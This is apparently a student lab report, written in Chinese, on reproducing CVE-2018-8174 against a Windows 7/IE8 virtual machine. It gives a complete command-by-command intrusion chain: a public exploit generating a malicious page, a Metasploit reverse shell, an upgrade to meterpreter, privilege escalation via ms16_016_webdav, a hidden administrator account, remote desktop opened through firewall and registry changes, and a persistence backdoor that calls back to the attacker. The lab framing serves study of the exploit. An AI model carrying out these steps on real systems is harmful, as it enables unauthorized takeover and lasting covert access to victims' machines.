漏洞CNNVD-201805-248的复现与提权

  1. 实验原理介绍(图文)
    本次实验实现漏洞CNNVD-201805-248的复现与入侵,以及后续的提权管理员和留后门操作。
    漏洞基本信息:
    漏洞名称:Microsoft Windows VBScript 引擎安全漏洞
    CNNVD编号:CNNVD-201805-248
    CVE编号:CVE-2018-8174
    危害等级:高危
    漏洞类型:缓冲区错误
    威胁类型:远程
    发布时间:2018-05-10
    漏洞简介:Microsoft Windows 7等都是美国微软(Microsoft)公司发布的一系列操作系统。Windows VBScript engine是其中的一个VBScript(脚本语言)引擎。Microsoft Windows VBScript引擎中存在远程代码执行漏洞。远程攻击者可利用该漏洞在当前用户的上下文中执行任意代码,造成内存损坏。
    漏洞POC如下:
    漏洞CNNVD-201805-248的复现与提权_第1张图片
    POC中首先定义了两个数组array_a和array_b,并声明了一个类Trigger,Trigger中重载了析构函数Class_Terminate,在UAF函数中,创建了一个Trigger的实例赋值给数组array_a (1),并通过Erase array_a清空array_a中的元素,这时候在析构array_a中的元素的时候会触发脚本中Class_Terminate的调用,在Class_Terminate中增加了一个array_b(0)对Trigger实例的引用(Trigger实例引用计数+1),再通过array_a (1)= 1删除array_a (1) 对Trigger实例的引用(Trigger实例引用计数-1)来平衡引用计数,这时候Trigger实例会被释放,但是array_b(0)仍然保留了这个Trigger实例的引用,从而array_b(0)指向了被释放的Trigger实例的内存,最终在TriggerVuln中通过b(0) = 0访问未分配内存触发漏洞。

  2. 环境配置介绍(图文)
    攻击机操作系统信息:Linux kali 4.18.0 amd64(静态IP:192.168.3.200)
    靶机操作系统信息:Windows 7 Professional SP1 32位(静态IP:192.168.3.250)
    靶机浏览器版本信息:IE8
    攻击机和靶机都是部署在VMware上的虚拟机。

  3. 实验过程详细介绍(图文)
    一、 部署攻击
    第一步,利用漏洞攻击模块撬开win7的大门,获得靶机的shell。
    漏洞CNNVD-201805-248的复现与提权_第2张图片
    1.下载漏洞模块
    git clone https://github.com/Yt1g3r/CVE-2018-8174_EXP.git
    在攻击机kali中打开终端,从github下载到用于攻击该漏洞的攻击模块。本次实验使用的是”Yt1g3r”上传的使用python语言编写的EXP。
    2.编译文件
    python CVE-2018-8174.py -u http://192.168.3.200/exploit.html -o msf.rtf -i 192.168.3.200 -p 4444
    进入上面下载到的CVE-2018-8174_EXP文件夹,将py文件编译为恶意html文件。此处 -i选项为kali攻击机ip, -p选项为监听端口4444。
    3.复制文件
    cp exploit.html /var/www/html
    将上一步编译得到的html文件复制到网站根目录下,以便通过浏览器访问。
    4.web服务器开启
    service apache2 start
    开启攻击机的apache2服务,启动web服务器。
    5.使用metasploit获得靶机的shell
    漏洞CNNVD-201805-248的复现与提权_第3张图片
    打开metasploit的命令行模式,输入以下指令:
    use exploit/multi/handler
    set PAYLOAD windows/shell/reverse_tcp
    set LHOST 192.168.3.200
    exploit
    使用metasploit的exploit/multi/handler模块,PAYLOAD设置为windows/shell/reverse_tcp,设置相关参数,开始攻击。show options可见所有可设置项。LHOST设置为攻击机ip,LPORT设置为监听端口,此处LPORT已经默认为4444,否则set LPORT 4444。
    6.靶机win7使用IE浏览器访问192.168.3.200/exploit.html
    漏洞CNNVD-201805-248的复现与提权_第4张图片
    在IE中打开恶意链接后,虽然页面显示打开失败,但是实际攻击已经成功,kali机获得返回的shell。

  4. 打开返回的shell。
    漏洞CNNVD-201805-248的复现与提权_第5张图片
    win7打开恶意链接后,在kali的metasploit中可以看见攻击成功返回的信息,提示有“shell session opened”即已成功建立和靶机的连接会话。
    回车一下,可进入win7的cmd。
    chcp 65001 清除乱码。
    此时已可在cmd命令行中远程对win7进行一些简单的操作,例如在桌面弹出一个计算器。
    而当我们尝试添加新用户net user hacker 123456 /add ,发现指令被拒绝,说明当前用户权限太低。windows开机时默认登录一个普通用户账号,攻击进行到这里只能取得和当前用户相同的权限,所以我们目前仅拥有普通用户权限,所以为了对靶机进行更多操作,我们需要进一步进行提权处理。

二、 shell升级
第二步,为了后续使用其他手段提权,将第一步得到的shell升级为meterpreter shell。
1.将shell转到后台
Ctrl+z
2.确认,注意这里是session 2
y 回车
在这里插入图片描述
3.查看对应序号,该session类型为shell x86/windows
sessions -l
漏洞CNNVD-201805-248的复现与提权_第6张图片
4. 载入转换模块
use post/multi/manage/shell_to_meterpreter
5.设置要升级的SESSION
set SESSION 2
在第2步将shell转到后台时,放到后台的是SESSION 2,所以此处设置为SESSION2。
6.开始攻击
run
开始进行shell类型转换。出现Meterpreter session 3 opened语句,转换成功。
7.查看是否出现新的SESSION
sessions -l
可以看到新出现的SESSION3类型为meterpreter x86/windows,这就是上面的shell转换出来的新SESSION。
漏洞CNNVD-201805-248的复现与提权_第7张图片
8.进入新SESSION
sessions -i 3
进入刚刚升级出来的SESSION,可以看到meterpreter > 提示符,使用一些meterpreter的指令。
此时输入getsystem还是显示没有权限 ,使用background将SESSION3再次放到后台。

三、 漏洞提权
第三步,配合其他漏洞提权为管理员。

  1. 在metasploit利用WebDav漏洞模块对靶机win7进行提权
    漏洞CNNVD-201805-248的复现与提权_第8张图片
    use exploit/windows/local/ms16_016_webdav
    set SESSION 3 (上面第二步升级后的新SESSION)
    exploit
    使用exploit/windows/local/ms16_016_webdav模块,设置相关参数,开始攻击。此处设置SESSION为第二步得到的SESSION3。
  2. sessions -i 3 (进入win7的shell)
    3.查看可利用进程
    ps (查看进程,找到系统权限进程号3928)
    漏洞CNNVD-201805-248的复现与提权_第9张图片
    4.迁移进程
    migrate 3928
    迁移进程,获取系统管理员权限。
  3. getuid
    查看uid,发现用户名已经是NT AUTHORITY\SYSTEM,拥有管理员权限。
    在这里插入图片描述

四、 创建管理员
第四步,创建新的管理员权限账号。
漏洞CNNVD-201805-248的复现与提权_第10张图片
1.进入cmd shell
shell
从meterpreter命令行进入win7cmd命令行。
2.添加新用户
net user hack 123 /add
创建用户名是hack,密码是123的新用户。
3.给新用户添加管理员权限
net localgroup administrators hack /add
将刚刚创建的hack设为管理员。
4.成功,已获得该系统的管理员权限
漏洞CNNVD-201805-248的复现与提权_第11张图片

五、 远程登录
第五步,开启目标机器的3389端口,进行远程桌面连接。
1.查看目标机器端口使用情况
在cmd中使用netstat -an查看3389端口是否开启
漏洞CNNVD-201805-248的复现与提权_第12张图片
并没有开启,所以我们需要打开该端口
2.添加3389入站规则
netsh advfirewall firewall add rule name=“Remote Desktop” protocol=TCP dir=in localport=3389 action=allow
在这里插入图片描述
设置防火墙允许通过3389端口远程桌面登录。
3.开启端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
漏洞CNNVD-201805-248的复现与提权_第13张图片
修改注册表开启3389端口
4.使用第四步中创建的账户远程登录
(在meterpreter)portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.3.200 (此为攻击机kali的ip)
(在kali终端)rdesktop -u hack -p 123 192.168.3.250
portfwd命令在meterpreter中使用,所以本地IP填写127.0.0.1,远端IP填写kali机的IP,端口使用前面打开的3389端口。
rdesktop命令-u选项填写第四步中创建的新用户,-p选项填写该用户的密码,最后一个参数填写要连接的机器,也就是靶机win7的IP地址。
漏洞CNNVD-201805-248的复现与提权_第14张图片
漏洞CNNVD-201805-248的复现与提权_第15张图片

六、 装后门
第六步,植入后门木马,让靶机在重启后仍会自动重连到kali。
1.生成后门木马
(在meterpreter)run persistence -X -i 5 -p 5000 -r 192.168.3.200 (本机IP地址)
设置重连的IP地址和端口号。
此时,可以在远程桌面中打开”Persistent Script written”一行中显示的路径,确认后缀名为vbs的木马文件是否已成功安装到win7。
漏洞CNNVD-201805-248的复现与提权_第16张图片
2.win7关机
在这里插入图片描述
在meterpreter命令行中会显示会话已关闭,本次连接已断开。
3.设置重连监听
打开新的metasploit窗口,输入以下命令。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.3.200
set lport 5000 #要跟设置 run persistence 时的端口一致
exploit
使用exploit/multi/handler模块,设置PAYLOAD为windows/meterpreter/reverse_tcp,LHOST和lport设置为和run persistence命令中相同的IP地址和端口号,开启攻击。此时开始监听来自win7的重连,当win7重新开机,木马文件被启动,此处将自动收到重连的会话。
4.在win7中执行木马文件
漏洞CNNVD-201805-248的复现与提权_第17张图片
win7再开机后会弹出木马文件的执行请求,点击打开,kali机就能打开重连的会话。

  1. 总结(针对实验内容和实验过程问题总结)
    这次实验我们认为最难的一点是从拿到靶机的shell到成功提权管理员的转接。
    一开始选择CVE-2018-8172这个漏洞进行复现的时候,我们根据找到的资料,在kali从github下载漏洞攻击文件,编译文件,在终端开启监听,进行攻击,得到win7的shell,直到这一步还是很顺利的,但是发现只是普通用户权限,很多指令都不能用,比如创建新用户,开启程序,修改注册表,开启端口等。使用这些高级指令必须要得到最高的管理员权限。后来查网上的资料发现【以常规手段】在win7开启最高的管理员权限有以下几种办法:
    ①在开始——运行——输入cmd,右键“以管理员身份运行”,再进入cmd界面,这时候上面提到的高级指令才变得可用。
    ②.用户以管理员身份开机。
    ③.知道管理员用户的密码,输入密码登录管理员账号。
    因为我们目前仅仅只是在kali中进入了win7普通用户权限的cmd shell,想要实现第1点的话,必须远程开启win7的端口,修改win7的注册表等等……在kali远程进行这些操作,无疑需要获得该靶机win7的最高的管理员权限,这里就形成了逻辑闭环,因此第1点在普通用户权限的shell是无法实现的。
    至于第2点的实现则需要一定的几率,如果用户以管理员身份开机,则我们上面的操作就能获得管理员权限。但是如果用户没有以管理员身份开机(这种情况是更加常见的,因为一般的win7用户大多数都是以默认的普通用户权限开机的),则无法实现。我们的入侵应该依靠win7漏洞和各种kali的渗透工具的主观能动性,不能把希望寄托在靶机以管理员权限开机这种偶然性事件上面。
    至于第3点则更难实现了,如果事先就已经知道靶机用户的密码,那也没有利用win7本身的漏洞秘密攻击靶机的必要了。
    之后我们考虑寻找在可以metasploit中使用的攻击模块,因为我们前面的做法是直接在终端使用nc命令监听4444端口,虽然能打开cmd shell却对后续提权无从下手,而在metasploit中我们会有更多可用的攻击工具。于是我们在github搜索CVE-2018-8172这个漏洞的相关攻击模块,找到了0x09AL这位github用户用ruby语言写的CVE-2018-8172的攻击模块下载数最多,并进行尝试。经过我们的实践之后,发现他写的攻击模块不能成功返回shell。我们注意到readme文档中有一句”The exploit doesn’t work very well with meterpreter shellcode so it’s better to use non-staged reverse shell.”,猜测需要换一种类型的payload。我们尝试了几种别的payload,发现也不能成功,使用single的payload甚至会令浏览器进入未响应状态。最后我们判断这个攻击模块不能使用,但也在此感谢一下这位0x09AL同志的付出。
    这样看来漏洞CVE-2018-8172似乎只能走到这步了,但是我和我的组员还是不甘于这个结果,指导老师给了我们提示:可结合其他漏洞和方法进行入侵。
    一开始我查阅资料,找到了一种似乎可以提权的方法,在cmd 中输入at 16:53 /interactive cmd ,使用taskmgr命令打开任务管理器,杀死现用户桌面进程(explorer.exe),新建explorer.exe,则整个界面都在管理员(因为当前的explorer进程是在system权限运行的),然后再重新打开cmd,当前用户就变成system了。但是实践发现这些指令只在xp系统有效,在win7系统的环境下运行这些指令会被限制导致提权失败,而且这种提权的方式是没有用到CVE-2018-8172这个漏洞的,就和这个网络攻防题目相冲突了,遂放弃。
    kali自带的渗透工具metasploit装有许多提权漏洞的攻击模块,如永恒之蓝,ms13_053,ms14_058,ms16_016,ms16_032等,但是发现这些提权漏洞的可填参数很简单,是一个session,也就是说利用这些漏洞入侵的前提是要有一个meterpreter的session。
    然后我们梳理了漏洞入侵的一般流程,想到利用python语言的那个攻击脚本进入到win7的cmd的时候已经成功返回了一个shell,只是不是meterpreter类型的session,但这不失为一个机会,只要我们将在终端进行的监听接入到metasploit来进行,就可能有机会利用到metasploit自带的丰富的攻击模块。
    于是我们再查阅资料,学到了利用metasploit中的shell_to_meterpreter这个模块,我们成功把win7的shell转换成meterpreter shell,产生了一个meterpreter的session。然后再利用ms16_016_webdav这个漏洞,填入session参数,成功进行进一步提权。
    后续我们参考了课件“溢出实验”中远程连接和留后门的操作,都比较顺利。
    这次实验比较大的经验教训是,当一条路走不通的时候,可以脚踩多条路一个急转弯,触类旁通是有益的。

你可能感兴趣的:(漏洞CNNVD-201805-248的复现与提权)